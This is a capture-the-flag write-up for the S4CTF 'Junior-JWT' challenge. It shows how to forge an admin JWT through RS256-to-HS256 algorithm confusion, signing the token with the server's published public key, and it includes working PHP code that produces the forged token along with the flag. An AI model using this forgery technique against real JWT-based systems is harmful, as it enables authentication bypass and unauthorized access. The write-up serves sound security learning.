Rating:

# Junior-JWT

## Description

Just one of [them](http://junior-jwt.peykar.io)!

## Files provided

A zip file containing a PHP page source code. (You can see extracted files in [source](source/) folder in the repo)

## TL;DR

We should change the algorithm to `HS256` and change the role value in jwt to `admin` and sign it with the given public key.

## Writeup

Looking at the source code, we see a class called `JWT` that provides `encode` and `decode` methods and also some helper functions for URL decoding.

Also there is a `main` function that runs on startup. It creates `jwt` cookie with `role: guest` if it's not present.
if The cookie is present it checks the `role` attribute, if the role is equal to `admin` it shows the flag, otherwise it shows the source code.

So we should find a way to modify role value to `admin` in the jwt cookie but we don't have the jwt secret key. So we should go for potential bugs in the jwt methods.

There can be several famous [bugs](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) in jwt custom libraries. The first bug I tried was the `none algorithm`. But at line 40 the decode function checks for the none algorithm, So this is not the solution.

As we see in `main` function, the jwt is signed with `RS256` algorithm by default. RSA uses public and private key (Asymmetric). The JWT is signed using private key and verified using public key. We can see the public key in the source code but we need the private key for signing our modified jwt.

### The Idea

If we could find a way that server verifies the jwt using the same key that jwt is signed with, we could easily change the role field and sign our jwt using the public key.

In `HS256` algorithm, that is a symmetric algorithm, the jwt should be signed and verified using the same secret key. So, if we change the jwt algorithm to `HS256`, change the `role` value to `admin` and sign it with the public key, the server will also verify the jwt using public key.

## Solution

For creating the payload, we can use the website's source code.

We should just change the main function as below (changing role to `admin` and changing `RS256` to `HS256`):

```
function main()
{

$publikKey = '-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEApPRW0nXMoQyN8GzVCHaW
nWyq00omHh/o7AXEJvbpVBk5HTWLt+Zdj1aK1JFWU5lPeMSoXkf7WJiqoGgwVblX
Rq2dSIIaNBFSjomS1Mcw1Tyx+q9Y6CPJGdwAMEMH5uKhGkgV9OrFQcHoozLAvzFl
BneqmTO9+V1FKEuHWHItvdP1em7UiUnZ7JXb13L4IbZVGPNgDVf0GoButIlVo1+T
pMZcBHNV0ndGZg0e6qTCp5m9yMWcH697Rt2FRN4fgJpYBknBs8UrAeCczRkk6037
N+c4IM+St6KZNqg+4ZlRZC+V9zOBSTkrXXN/CXRUiIQMgmyit5zbEpN8PUY6VPzk
zVI9FbkB0nb+Dp04VPRWeeV1IKPZk2DuSOALh9ZacbEQ8Spuua6nxZ5gCSve7TL7
r9xg8ml5zZXAw7l8WoHkyy2ocPy0OL+PWFvUar59epfPUQZmRE08yVrlvy+WXFC2
dbFxD80tPgbcjJbKRGGv1uOx/3Z2HrXHoOslVmV87rgWfxBaJjrSsSY1fKLYJLnk
FKJd6eSLDYzTAczbMiov8F9ovMw4/juWZy2s4QOCdXp7byKOuQUJ+HSiZiNiyjTk
XaA5oGEF/FIxAMRbaEd/YSsE7ASMxS4mhyIAGFvqK8YZ+xqEAbNlT4zK+dAAC3mL
I/VyHBAlgHRxEiRE860DhfcCAwEAAQ==
-----END PUBLIC KEY-----';

$issuedAt = new DateTimeImmutable();
$data = [
"role" => "admin",
"iat" => $issuedAt->getTimestamp(),
"nbf" => $issuedAt->getTimestamp()
];

$token = JWT::encode($data, $publikKey, 'HS256');

echo $token;

}

```

It will print the the JWT payload that we should put in `jwt` cookie and request `GET /` to get the flag.

## Flag

`S4CTF{7h3r3__iS_s733L_a_bUnch3__0u7_th3r3!!!}`

Original writeup (https://github.com/ali-em/writeups2021/tree/main/S4CTF/junior-jwt).